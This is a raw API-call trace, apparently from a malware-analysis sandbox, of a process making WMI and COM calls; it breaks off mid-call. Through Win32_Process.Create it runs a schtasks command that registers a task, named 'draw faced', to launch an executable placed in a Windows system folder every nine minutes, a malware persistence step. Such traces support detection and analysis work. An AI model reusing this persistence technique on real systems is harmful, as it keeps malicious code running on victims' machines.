WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0420, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0119.272] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0420, lFlags=4, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x1d, pszText=0x0) returned 0x0 [0119.272] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0420, lFlags=4, puBuffLength=0x1b30d590*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b30d590*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0119.272] CoGetContextToken (in: pToken=0x1b30cea0 | out: pToken=0x1b30cea0) returned 0x0 [0119.272] WbemLocator:IUnknown:AddRef (This=0x1b511bf8) returned 0x3 [0119.272] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511bf8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cea0 | out: ppvObject=0x1b30cea0*=0x1b511bf8) returned 0x0 [0119.272] WbemLocator:IUnknown:Release (This=0x1b511bf8) returned 0x3 [0119.272] WbemLocator:IUnknown:Release (This=0x1b511bf8) returned 0x2 [0119.272] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0420, lFlags=2, puBuffLength=0x1b30d5a0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5a0*=0xe, pszText=0x0) returned 0x0 [0119.272] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0420, lFlags=2, puBuffLength=0x1b30d5a0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d5a0*=0xe, pszText="Win32_Process") returned 0x0 [0119.273] IWbemServices:GetObject (in: This=0x1b4e0e00, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b30d520*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d520*=0x1b4d8a30, ppCallResult=0x0) returned 0x0 [0119.279] IWbemClassObject:GetMethod (in: This=0x1b4d8a30, wszName="Create", lFlags=0, ppInSignature=0x1b30d618, ppOutSignature=0x1b30d610 | out: ppInSignature=0x1b30d618*=0x1b4d9b60, ppOutSignature=0x1b30d610*=0x1b4da5b0) returned 0x0 [0119.279] IWbemClassObject:SpawnInstance (in: This=0x1b4d9b60, lFlags=0, ppNewInstance=0x1b30d628 | out: ppNewInstance=0x1b30d628*=0x1b452450) returned 0x0 [0119.279] IWbemClassObject:Get (in: This=0x1b452450, wszName="CommandLine", lFlags=0, pVal=0x1b30d500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x293d378*=0, plFlavor=0x293d37c*=0 | out: pVal=0x1b30d500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x293d378*=8, plFlavor=0x293d37c*=32) returned 0x0 [0119.279] IWbemClassObject:Get (in: This=0x1b452450, wszName="CommandLine", lFlags=0, pVal=0x1b30d530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x293d378*=8, plFlavor=0x293d37c*=32 | out: pVal=0x1b30d530*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x293d378*=8, plFlavor=0x293d37c*=32) returned 0x0 [0119.280] IWbemClassObject:Put (This=0x1b452450, wszName="CommandLine", lFlags=0, pVal=0x1b30d590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"draw faced\" /sc MINUTE /mo 9 /tr \"'C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'\" /f", varVal2=0x0), Type=0) returned 0x0 [0119.280] IWbemClassObject:Get (in: This=0x1b452450, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x293d408*=0, plFlavor=0x293d40c*=0 | out: pVal=0x1b30d500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x293d408*=13, plFlavor=0x293d40c*=32) returned 0x0 [0119.280] IWbemClassObject:Get (in: This=0x1b452450, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x293d408*=13, plFlavor=0x293d40c*=32 | out: pVal=0x1b30d530*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x293d408*=13, plFlavor=0x293d40c*=32) returned 0x0 [0119.280] IUnknown:QueryInterface (in: This=0x1b4d7900, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ce00 | out: ppvObject=0x1b30ce00*=0x1b4d7900) returned 0x0 [0119.280] IUnknown:QueryInterface (in: This=0x1b4d7900, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30ce90 | out: ppvObject=0x1b30ce90*=0x0) returned 0x80004002 [0119.280] IUnknown:QueryInterface (in: This=0x1b4d7900, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cab0 | out: ppvObject=0x1b30cab0*=0x0) returned 0x80004002 [0119.280] IUnknown:QueryInterface (in: This=0x1b4d7900, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c688 | out: ppvObject=0x1b30c688*=0x0) returned 0x80004002 [0119.280] IUnknown:AddRef (This=0x1b4d7900) returned 0x3 [0119.281] IUnknown:QueryInterface (in: This=0x1b4d7900, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c548 | out: ppvObject=0x1b30c548*=0x0) returned 0x80004002 [0119.281] IUnknown:QueryInterface (in: This=0x1b4d7900, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c4d0 | out: ppvObject=0x1b30c4d0*=0x0) returned 0x80004002 [0119.281] IUnknown:QueryInterface (in: This=0x1b4d7900, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c4c0 | out: ppvObject=0x1b30c4c0*=0x1b4d7908) returned 0x0 [0119.281] IMarshal:GetUnmarshalClass (in: This=0x1b4d7908, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c4e8 | out: pCid=0x1b30c4e8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0119.281] IUnknown:Release (This=0x1b4d7908) returned 0x3 [0119.281] CoGetContextToken (in: pToken=0x1b30c570 | out: pToken=0x1b30c570) returned 0x0 [0119.281] CoGetContextToken (in: pToken=0x1b30c9f0 | out: pToken=0x1b30c9f0) returned 0x0 [0119.281] IUnknown:QueryInterface (in: This=0x1b4d7900, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cab0 | out: ppvObject=0x1b30cab0*=0x0) returned 0x80004002 [0119.281] IUnknown:Release (This=0x1b4d7900) returned 0x2 [0119.281] CoGetContextToken (in: pToken=0x1b30ca20 | out: pToken=0x1b30ca20) returned 0x0 [0119.281] CoGetContextToken (in: pToken=0x1b30c920 | out: pToken=0x1b30c920) returned 0x0 [0119.281] IUnknown:QueryInterface (in: This=0x1b4d7900, riid=0x1b30ca80*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b30ca50 | out: ppvObject=0x1b30ca50*=0x0) returned 0x80004002 [0119.282] CoGetContextToken (in: pToken=0x1b30cbb0 | out: pToken=0x1b30cbb0) returned 0x0 [0119.282] IUnknown:QueryInterface (in: This=0x1b4d7900, riid=0x7ffa5f025148*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cc80 | out: ppvObject=0x1b30cc80*=0x0) returned 0x80004002 [0119.282] CoGetContextToken (in: pToken=0x1b30cc40 | out: pToken=0x1b30cc40) returned 0x0 [0119.282] IUnknown:AddRef (This=0x1b4d7900) returned 0x3 [0119.282] IWbemClassObject:Put (This=0x1b452450, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d590*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1b4d7900, varVal2=0x0), Type=0) returned 0x0 [0119.282] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afbe0, puCount=0x1b30d648 | out: puCount=0x1b30d648*=0x2) returned 0x0 [0119.282] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afbe0, lFlags=4, puBuffLength=0x1b30d640*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d640*=0x22, pszText=0x0) returned 0x0 [0119.282] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afbe0, lFlags=4, puBuffLength=0x1b30d640*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b30d640*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0119.282] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0960, puCount=0x1b30d588 | out: puCount=0x1b30d588*=0x2) returned 0x0 [0119.282] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0960, lFlags=4, puBuffLength=0x1b30d580*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d580*=0xf, pszText=0x0) returned 0x0 [0119.282] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0960, lFlags=4, puBuffLength=0x1b30d580*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d580*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0119.282] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0119.282] WbemLocator:IUnknown:AddRef (This=0x1b511bf8) returned 0x3 [0119.282] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511bf8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf50 | out: ppvObject=0x1b30cf50*=0x1b511bf8) returned 0x0 [0119.282] WbemLocator:IUnknown:Release (This=0x1b511bf8) returned 0x3 [0119.282] WbemLocator:IUnknown:Release (This=0x1b511bf8) returned 0x2 [0119.282] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0119.282] WbemLocator:IUnknown:AddRef (This=0x1b511bf8) returned 0x3 [0119.283] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511bf8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf50 | out: ppvObject=0x1b30cf50*=0x1b511bf8) returned 0x0 [0119.283] WbemLocator:IUnknown:Release (This=0x1b511bf8) returned 0x3 [0119.283] WbemLocator:IUnknown:Release (This=0x1b511bf8) returned 0x2 [0119.283] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afbe0, lFlags=2, puBuffLength=0x1b30d650*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d650*=0xe, pszText=0x0) returned 0x0 [0119.283] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afbe0, lFlags=2, puBuffLength=0x1b30d650*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d650*=0xe, pszText="Win32_Process") returned 0x0 [0119.283] IWbemServices:ExecMethod (in: This=0x1b4e0e00, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1b452450, ppOutParams=0x1b30d5c0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b30d5c0*=0x643ae0, ppCallResult=0x0) returned 0x0 [0119.413] IWbemClassObject:Get (in: This=0x643ae0, wszName="ProcessId", lFlags=0, pVal=0x1b30d590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x293d718*=0, plFlavor=0x293d71c*=0 | out: pVal=0x1b30d590*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1320, varVal2=0x0), pType=0x293d718*=19, plFlavor=0x293d71c*=0) returned 0x0 [0119.413] IWbemClassObject:Get (in: This=0x643ae0, wszName="ProcessId", lFlags=0, pVal=0x1b30d5a0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x293d718*=19, plFlavor=0x293d71c*=0 | out: pVal=0x1b30d5a0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1320, varVal2=0x0), pType=0x293d718*=19, plFlavor=0x293d71c*=0) returned 0x0 [0119.413] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d648 | out: ppv=0x1b30d648*=0x6124e8) returned 0x0 [0119.413] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d638 | out: pAptType=0x1b30d638*=1) returned 0x0 [0119.413] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d640 | out: ppvObject=0x1b30d640*=0x0) returned 0x80004002 [0119.413] IUnknown:Release (This=0x6124e8) returned 0x1 [0119.414] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30ca38 | out: ppv=0x1b30ca38*=0x1b4ac670) returned 0x0 [0119.414] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4ac670, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cb20 | out: ppvObject=0x1b30cb20*=0x0) returned 0x80004002 [0119.414] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4ac670, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caf8 | out: ppvObject=0x1b30caf8*=0x1b4afb20) returned 0x0 [0119.414] WbemDefPath:IUnknown:Release (This=0x1b4ac670) returned 0x0 [0119.415] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afb20, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8a0 | out: ppvObject=0x1b30c8a0*=0x1b4afb20) returned 0x0 [0119.415] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afb20, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c930 | out: ppvObject=0x1b30c930*=0x0) returned 0x80004002 [0119.415] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afb20, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c128 | out: ppvObject=0x1b30c128*=0x0) returned 0x80004002 [0119.415] WbemDefPath:IUnknown:AddRef (This=0x1b4afb20) returned 0x3 [0119.415] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afb20, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0119.415] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afb20, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bf70 | out: ppvObject=0x1b30bf70*=0x0) returned 0x80004002 [0119.415] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afb20, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bf60 | out: ppvObject=0x1b30bf60*=0x1b4ac370) returned 0x0 [0119.415] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4ac370, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bf88 | out: pCid=0x1b30bf88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0119.415] WbemDefPath:IUnknown:Release (This=0x1b4ac370) returned 0x3 [0119.415] CoGetContextToken (in: pToken=0x1b30c010 | out: pToken=0x1b30c010) returned 0x0 [0119.415] CoGetContextToken (in: pToken=0x1b30c490 | out: pToken=0x1b30c490) returned 0x0 [0119.415] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afb20, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c550 | out: ppvObject=0x1b30c550*=0x0) returned 0x80004002 [0119.415] WbemDefPath:IUnknown:Release (This=0x1b4afb20) returned 0x2 [0119.415] WbemDefPath:IUnknown:Release (This=0x1b4afb20) returned 0x1 [0119.415] CoGetContextToken (in: pToken=0x1b30d280 | out: pToken=0x1b30d280) returned 0x0 [0119.415] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0119.415] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afb20, riid=0x1b30d2e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d2b0 | out: ppvObject=0x1b30d2b0*=0x1b4afb20) returned 0x0 [0119.416] WbemDefPath:IUnknown:AddRef (This=0x1b4afb20) returned 0x3 [0119.416] WbemDefPath:IUnknown:Release (This=0x1b4afb20) returned 0x2 [0119.416] WbemDefPath:IWbemPath:SetText (This=0x1b4afb20, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0119.416] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afb20, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0119.416] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afb20, lFlags=2, puBuffLength=0x1b30d690*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d690*=0xe, pszText=0x0) returned 0x0 [0119.416] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afb20, lFlags=2, puBuffLength=0x1b30d690*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d690*=0xe, pszText="Win32_Process") returned 0x0 [0119.416] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4afb20, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0119.416] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afb20, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0119.416] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4afb20, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0119.416] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d648 | out: ppv=0x1b30d648*=0x6124e8) returned 0x0 [0119.416] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d638 | out: pAptType=0x1b30d638*=1) returned 0x0 [0119.416] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d640 | out: ppvObject=0x1b30d640*=0x0) returned 0x80004002 [0119.416] IUnknown:Release (This=0x6124e8) returned 0x1 [0119.417] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30ca38 | out: ppv=0x1b30ca38*=0x1b4ac750) returned 0x0 [0119.417] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4ac750, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cb20 | out: ppvObject=0x1b30cb20*=0x0) returned 0x80004002 [0119.417] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4ac750, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caf8 | out: ppvObject=0x1b30caf8*=0x1b4af760) returned 0x0 [0119.417] WbemDefPath:IUnknown:Release (This=0x1b4ac750) returned 0x0 [0119.417] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af760, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8a0 | out: ppvObject=0x1b30c8a0*=0x1b4af760) returned 0x0 [0119.417] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af760, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c930 | out: ppvObject=0x1b30c930*=0x0) returned 0x80004002 [0119.417] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af760, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c128 | out: ppvObject=0x1b30c128*=0x0) returned 0x80004002 [0119.417] WbemDefPath:IUnknown:AddRef (This=0x1b4af760) returned 0x3 [0119.417] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af760, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0119.417] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af760, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bf70 | out: ppvObject=0x1b30bf70*=0x0) returned 0x80004002 [0119.417] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af760, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bf60 | out: ppvObject=0x1b30bf60*=0x1b4ac6d0) returned 0x0 [0119.418] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4ac6d0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bf88 | out: pCid=0x1b30bf88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0119.418] WbemDefPath:IUnknown:Release (This=0x1b4ac6d0) returned 0x3 [0119.418] CoGetContextToken (in: pToken=0x1b30c010 | out: 